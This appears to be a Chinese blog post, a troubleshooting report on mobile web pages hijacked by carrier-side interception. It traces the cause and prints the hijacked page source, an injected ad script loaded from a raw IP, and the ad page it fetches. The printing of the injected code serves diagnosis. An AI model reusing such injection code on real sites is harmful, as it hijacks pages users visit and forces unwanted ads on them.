解决一起web 页面被劫持的案例
现象
江西客户手机端连接wifi打开URL,页面上显示淘宝店铺广告,使用手机移动网络打开正常,其他地区正常。

二. 处理过程
- 初步分析:3g.club项目使用了CDN,目前只有江西异常,其他地区无异常,说明问题范围仅在江西地区,根据业务人员反馈的问题现象,以及以往类似问题处理经验,该问题原因是可能是页面某个js被污染,导致污染的原因可能是dns解析被劫持
- 检查江西dns对3gclub的解析情况:我们使用江西dns对3g.club进行解析,并让客户在本地ping 域名返回结果,检查解析的IP是否是云端CDN节点,发现我们解析的IP和客户ping结果均正常,节点正确,排除dns解析被劫持原因
- 向云端CDN技术反馈问题现象,协助排查问题
- 统计出现此问题的客户端类型,发现手机自带的浏览器和匀加速功能的浏览器均出现问题,排除第三方浏览器云加速导致的问题;由于江西只有一家客户,而且用的是电信网络,所以暂时定位为出现问题的均是电信用户
- 检查江西节点上页面文件,我们将请求江西节点返回的页面、请求北京地区返回的页面、请求内网服务器返回的页面进行比较,发现页面正常,排除了江西节点到源站之间链路原因,推测原因可能在客户移动端到节点之间链路问题
- 由于手机没有firbug,无法抓去页面元素,我们试着使用客户那边同局域网内的电脑访问URL,结果问题没有复现。推测可能在劫持时候对request header 里User-Agent有判断。最后使用firfox插件,修改request header里User Agent,模拟手机用户请求,问题依然无法复现
- 我们试着让客户在url上加了参数进行访问,发现页面正常,去掉参数之后,依然有问题。将此结果反馈给CDN技术,协助排查。发现节点缓存住了页面(默认是穿透CDN回源的),CDN技术清空缓存之后,让客户重新测试,发现问题依旧
- 最后我们使用博瑞移动端即使测试,复现了问题,拿到页面源码,查到原因是运营商机房去回上层有劫持,最后调整了联系CDN覆盖,问题解决,
三:劫持原因分析:
1.异常页面源码:
<!DOCTYPE html><html><head><meta charset="UTF-8">
<meta name="apple-mobile-web-app-capable"content="yes">
<meta content="telephone=no"name="format-detection">
<meta name="apple-mobile-web-app-status-bar-style"content="black-translucent">
<meta name="viewport"content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
<title></title>
<style type="text/css">html,body{padding:0;margin:0}</style>
</head><body>
<iframe id="content"src="http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1"width="100%"frameborder="no"></iframe>
</body><script type="text/javascript"src="http://116.62.103.8/ads/adtb.js"></script>
<script type=“text/javascript">document.getElementById("content").height=window.innerHeight;</script></html>
说明:通过此段代码可以看出,用户请求http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1的页面已经被替换,通过在页面中嵌入了一个iframe元素,使用src属性来请求正常页面,然后在重新生成页面,将异常广告植入到页面中
2.页面异常js 分析:http://116.62.103.8/ads/adtb.js
文件内容:
var cript= document.createElement("script");
var headcont=document.getElementsByTagName("head")[0];
cript.src="http://cdn.staticfile.org/jquery/1.7/jquery.min.js";
headcont.appendChild(cript);
document.onready=function(){
if($('#JDGPEOGJEO').length<){
$('body').append('<div id="JDGPEOGJEO" style="position: fixed; width: 100%;height:124px;left:0;bottom:0; z-index:9999999; "><div id="JFEOCL" style="font-size:16px; width:16px; font-weight:600; height:16px; background:#D6CFCF; text-align:center; line-height:16px; color:#6DBEE8; position: absolute; right:0; top:0;">×</div><iframe id="content" src="http://ali.7676.com/wap/tanx/69910363.html" width="100%" height="124px" style="margin:0px; padding:0px;" frameborder="no" ></iframe></div>')
$("#JFEOCL").click(function(){
$(this).parent().remove()
})
}
}
说明:此js 是判断页面上是否有植入的广告,如果没有的话,则重新生成广告页面,并植入页面,js中调用的方法通过ifram src属性请求http://ali.7676.com/wap/tanx/69910363.html页面,此页面显示空白,但是内部会使用script 元素加载其他js,最后加载的w.js中有各种定义的方法,如对ua判断等
下面的curl的结果
curl http://ali.7676.com/wap/tanx/69910363.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
<style type="text/css"> html,body{margin:0; padding:0px;}</style>
</head><body>
<!-- AFP两段式代码-公用代码 -->
<script type="text/javascript" src="http://afpmm.alicdn.com/g/mm/afp-cdn/JS/w.js"></script> <!-- 69910363:测试 - 20170106 类型:移动网页 形式:通栏 尺寸:0x0-->
<script type="text/javascript">
_mmW.q({
aid:"mm_120329371_20560783_69910363",
serverbaseurl:"afpeng.alimama.com/"
})
</script>
</body></html>
解决一起web 页面被劫持的案例的更多相关文章
- 另类方法解决设计Web页面出现:Error Creating Control
在B/S开发的过程中,经常会遇到这样的提示:Error Creating Control ,而这些页面明明之前是可以打开的,但还是出现如下图所示: 网上找到的方法是把控件初始化放在OnInit里去写, ...
- 基于python的websocket开发,tomcat日志web页面实时打印监控案例
web socket 接收器:webSocket.py 相关依赖 # pip install bottle gevent gevent-websocket argparse from bottle i ...
- 解决微信web页面键盘收起不回弹,导致按钮失效
在文本框失去焦点时加入以下代码 $('input,textarea').blur(function () { setTimeout(function(){ window.scrollTo(,docum ...
- 集群重启后启动ambari-server访问Web页面无法启动集群解决
集群重启后启动ambari-server访问Web页面无法启动集群解决 使用ambari部署的集群重新启动后,必须手动重启ambari-server和所有集群主机上的ambari-agent. amb ...
- 解决VS2010打开Web页面时经常由于内存较低而导致VS2010自动关闭的问题
在使用VS2010 开发Web应用程序的时候,经常打开一个Web页面进行编辑前台代码的时候要等待很久(甚至等了半天结果还挂掉,简直令人抓狂), 之前也在网上找了很多相关的方法,都没办法解决,今天无意中 ...
- ios访问web页面<div>点击事件不起效果,以及alert()显示url的解决办法
ios访问web页面<div>点击不起效果,在其div上添加style=”cursor:pointer:“ jquery web页面动态append()事件调用方法:$(document) ...
- 记Outlook插件与Web页面交互的各种坑 (含c# HttpWebRequest 连接https 的完美解决方法)
1) 方案一, 使用Web Service 基础功能没问题, 只是在连接https (ssh) 网站时, 需要针对https进行开发 (即http 和https 生成两套接口, 不太容易统一 ). ...
- Juniper SRX550防火墙web页面CPU达到100%的故障解决办法
Juniper SRX550防火墙web页面CPU达到100%的故障解决办法 利用telnet远程连接主机,对web页面注销重新登录即可,在配置中输入命令:run restart web-manage ...
- Hadoop-1,web页面调用报无hbase.jar包【以解决】 2,报java.lang.NoSuchMethodError: org.eclipse.jdt.internal.compiler.CompilationResult.getProblems()[Lorg/eclipse/jdt/core/compiler/IProblem;【以解决】
1:web页面调用报无hbase.jar包 本来java文件就没有问题,但是jsp一调用那个java文件里的方法就报错,报的无hadoop/hbase相关报的问题. 主要解决方法是: 复制hbase/ ...
随机推荐
- 用OpenGL实现粒子的随机运动
一.目的: 掌握OpenGL中粒子的绘制.随机数的使用 二.代码: Github地址 #include "stdafx.h" #include <GL/glut.h> ...
- 第三百四十五节,Python分布式爬虫打造搜索引擎Scrapy精讲—爬虫和反爬的对抗过程以及策略—scrapy架构源码分析图
第三百四十五节,Python分布式爬虫打造搜索引擎Scrapy精讲—爬虫和反爬的对抗过程以及策略—scrapy架构源码分析图 1.基本概念 2.反爬虫的目的 3.爬虫和反爬的对抗过程以及策略 scra ...
- C# IEnumerator的详解
迭代器模式是设计模式中行为模式(behavioral pattern)的一个例子,他是一种简化对象间通讯的模式,也是一种非常容易理解和使用的模式.简单来说,迭代器模式使得你能够获取到序列中的所有元素而 ...
- (转)FFMPEG的一些使用技巧
1.查看FFMPEG的日志信息 在vc中使用ffmpeg静态库做二次开发的时候,如果不是控制台应用程序,又需要查看ffmpeg的日志信息,可使用 av_log_set_callback 函数注册一个回 ...
- Quorumpeps 群体感应数据库简介
群体感应的定义: 细菌能自发产生.释放一些特定的信号分子,并能感知其浓度变化,调节微生物的群体行为, 这一调控系统称为群体感应.细菌群体感应参与包括人类.动植物病原菌致病力在内的多种生物学功能的调节. ...
- CentOS 7系统查看系统版本和机器位数
前言 由于不经常使用linux,每当使用的时候就是安装软件,安装软件的时候就要选择安装包平台,是32位的还是64位的.这时候突然发现不知道怎么查,于是百度.虽然轻而易举百度出来,但仍旧没有自己的笔记看 ...
- Dubbo+Zookeeper+Spring整合应用篇-Dubbo基于Zookeeper实现分布式服务(转)
Dubbo与Zookeeper.Spring整合使用 Dubbo采用全Spring配置方式,透明化接入应用,对应用没有任何API侵入,只需用Spring加载Dubbo的配置即可,Dubbo基于Spri ...
- springMVC工程使用jreloader实现热部署
springMVC工程使用jreloader实现热部署applicationContext - ContextLoaderListener重新加载DispatcherServlet 重新加载提高开发效 ...
- CSS z-index优先级
可以设置div层与层之间的优先级,上下层覆盖优先情况. 当你定义的CSS中有position属性值为absolute.relative或fixed, 用z-index取值方可生效. 如果想要一个小的d ...
- mysql中explain
1.select_type: /* select_type 使用 SIMPLE */explain select * from tb_shop_order where id='201603292570 ...